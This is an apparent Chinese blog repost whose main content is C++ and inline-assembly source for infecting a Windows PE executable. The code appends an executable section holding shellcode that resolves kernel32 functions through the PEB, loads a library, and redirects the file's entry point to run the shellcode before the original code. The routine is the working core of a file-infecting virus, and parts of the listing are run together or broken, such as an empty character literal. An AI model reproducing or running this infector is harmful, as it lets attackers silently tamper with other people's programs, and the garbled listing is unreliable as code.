zoukankan      html  css  js  c++  java
  • 修改PE文件的入口函数OEP

    修改入口函数地址。这个是最省事的办法,在原PE文件中新增加一个节,计算新节的RVA,然后修改入口代码,使其指向新增加的节。当然,如果.text节空隙足够大的话,不用添加新节也可以。

    BOOL ChangeOEP(CString strFilePath)   
    {   
        FILE*                   rwFile;                     // 被感染的文件   
        IMAGE_SECTION_HEADER    NewSection;                 // 定义要添加的区块   
        IMAGE_NT_HEADERS        NThea;                      //    
        DWORD                   pNT;                        // pNT中存放IMAGE_NT_HEADERS结构的地址   
        int                     nOldSectionNo;   
        int                     OEP;   
           
        if((rwFile=fopen(strFilePath,"rb"))==NULL){         // 打开文件失败则返回   
            return FALSE;   
        }   
           
        if(!CheckPE(rwFile)){                               // 如果不是PE文件则返回   
            return FALSE;   
        }   
           
        fseek(rwFile,0x3c,0);   
        fread(&pNT,sizeof(DWORD),1,rwFile);   
        fseek(rwFile,pNT,0);   
        fread(&NThea,sizeof(IMAGE_NT_HEADERS),1,rwFile);    // 读取原文件的IMAGE_NT_HEADERS结构   
        nOldSectionNo=NThea.FileHeader.NumberOfSections;    // 保存原文件区块数量   
        OEP=NThea.OptionalHeader.AddressOfEntryPoint;       // 保存原文件区块OEP   
        IMAGE_SECTION_HEADER    SEChea;                     // 定义一个区块存放原文件最后一个区块的信息   
        int SECTION_ALIG=NThea.OptionalHeader.SectionAlignment;   
        int FILE_ALIG=NThea.OptionalHeader.FileAlignment;   // 保存文件对齐值与区块对齐值   
        memset(&NewSection, 0, sizeof(IMAGE_SECTION_HEADER));   
        fseek(rwFile,pNT+248,0);                            // 读原文件最后一个区块的信息   
        for(int i=0;i<nOldSectionNo;i++)   
            fread(&SEChea,sizeof(IMAGE_SECTION_HEADER),1,rwFile);   
           
        FILE    *newfile = fopen(strFilePath,"rb+");   
        if(newfile==NULL){   
            return FALSE;   
        }   
        fseek(newfile,SEChea.PointerToRawData+SEChea.SizeOfRawData,SEEK_SET);   
        goto shellend;   
    
    __asm   
        {       
    shell:  PUSHAD   
                MOV  EAX,DWORD PTR FS:[30H]     ;FS:[30H]指向PEB   
                MOV  EAX,DWORD PTR [EAX+0CH]    ;获取PEB_LDR_DATA结构的指针   
                MOV  EAX,DWORD PTR [EAX+1CH]    
    ;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针 MOV EAX,DWORD PTR [EAX]
    ;LDR_MODULE链表第二个结点的inInitializeOrderModuleList成员的指针 MOV EAX,DWORD PTR [EAX+08H]
    ;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址 MOV EBP,EAX ;将Kernel32.dll模块基址地址放至kernel中 MOV EAX,DWORD PTR [EAX+3CH] ;指向IMAGE_NT_HEADERS MOV EAX,DWORD PTR [EBP+EAX+120];指向导出表 MOV ECX,[EBP+EAX+24] ;取导出表中导出函数名字的数目 MOV EBX,[EBP+EAX+32] ;取导出表中名字表的地址 ADD EBX,EBP PUSH WORD PTR 0X00 ;构造GetProcAddress字符串 PUSH DWORD PTR 0X73736572 PUSH DWORD PTR 0X64644163 PUSH DWORD PTR 0X6F725074 PUSH WORD PTR 0X6547 MOV EDX,ESP PUSH ECX F1: MOV EDI,EDX POP ECX DEC ECX TEST ECX,ECX JZ EXIT MOV ESI,[EBX+ECX*4] ADD ESI,EBP PUSH ECX MOV ECX,15 REPZ CMPSB TEST ECX,ECX JNZ F1 POP ECX MOV ESI,[EBP+EAX+36] ;取得导出表中序号表的地址 ADD ESI,EBP MOVZX ESI,WORD PTR[ESI+ECX*2] ;取得进入函数地址表的序号 MOV EDI,[EBP+EAX+28] ;取得函数地址表的地址 ADD EDI,EBP MOV EDI,[EDI+ESI*4] ;取得GetProcAddress函数的地址 ADD EDI,EBP PUSH WORD PTR 0X00 ;构造LoadLibraryA字符串 PUSH DWORD PTR 0X41797261 PUSH DWORD PTR 0X7262694C PUSH DWORD PTR 0X64616F4C PUSH ESP PUSH EBP CALL EDI ;调用GetProcAddress取得LoadLibraryA函数的地址 PUSH WORD PTR 0X00 ;添加参数“test”符串 PUSH DWORD PTR 0X74736574 PUSH ESP CALL EAX EXIT: ADD ESP,36 ;平衡堆栈 POPAD } shellend: char* pShell; int nShellLen; BYTE jmp = 0xE9; __asm { LEA EAX,shell MOV pShell,EAX; LEA EBX,shellend SUB EBX,EAX MOV nShellLen,EBX } // 写入SHELLCODE, for(i=0;i<nShellLen;i++) fputc(pShell[i],newfile); // SHELLCODE之后是跳转到原OEP的指令 NewSection.VirtualAddress=
    SEChea.VirtualAddress+Align(SEChea.Misc.VirtualSize,SECTION_ALIG); OEP=OEP-(NewSection.VirtualAddress+nShellLen)-5; fwrite(&jmp, sizeof(jmp), 1, newfile); fwrite(&OEP, sizeof(OEP), 1, newfile); // 将最后增加的数据用0填充至按文件中对齐的大小 for(i=0;i<Align(nShellLen,FILE_ALIG)-nShellLen-5;i++) fputc('',newfile); // 新区块中的数据 strcpy((char*)NewSection.Name,".NYsky"); NewSection.PointerToRawData=SEChea.PointerToRawData+SEChea.SizeOfRawData; NewSection.Misc.VirtualSize=nShellLen; NewSection.SizeOfRawData=Align(nShellLen,FILE_ALIG); NewSection.Characteristics=0xE0000020; // 新区块可读可写可执行、写入新的块表 fseek(newfile,pNT+248+sizeof(IMAGE_SECTION_HEADER)*nOldSectionNo,0); fwrite(&NewSection,sizeof(IMAGE_SECTION_HEADER),1,newfile); int nNewImageSize=NThea.OptionalHeader.SizeOfImage+Align(nShellLen,SECTION_ALIG); int nNewSizeofCode=NThea.OptionalHeader.SizeOfCode+Align(nShellLen,FILE_ALIG); fseek(newfile,pNT,0); NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress=0; NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size=0; NThea.OptionalHeader.SizeOfCode=nNewSizeofCode; NThea.OptionalHeader.SizeOfImage=nNewImageSize; NThea.FileHeader.NumberOfSections=nOldSectionNo+1; NThea.OptionalHeader.AddressOfEntryPoint=NewSection.VirtualAddress; // 写入更新后的PE头结构 fwrite(&NThea,sizeof(IMAGE_NT_HEADERS),1,newfile); fclose(newfile); fclose(rwFile); return TRUE; }
  • 相关阅读:
    opencv学习之米粒分割 #201906121549
    opencv学习之hsv通道分解 #201906101704
    opencv学习之图像滤波预处理 #201906101646
    opencv学习之addWeighted图片打水印 #201906061030
    alpha channel
    rm git commit history
    git 使用学习
    排序算法的c++实现
    leetcode 246 中心对称数问题
    大数打印问题
  • 原文地址:https://www.cnblogs.com/microzone/p/3254049.html
Copyright © 2011-2022 走看看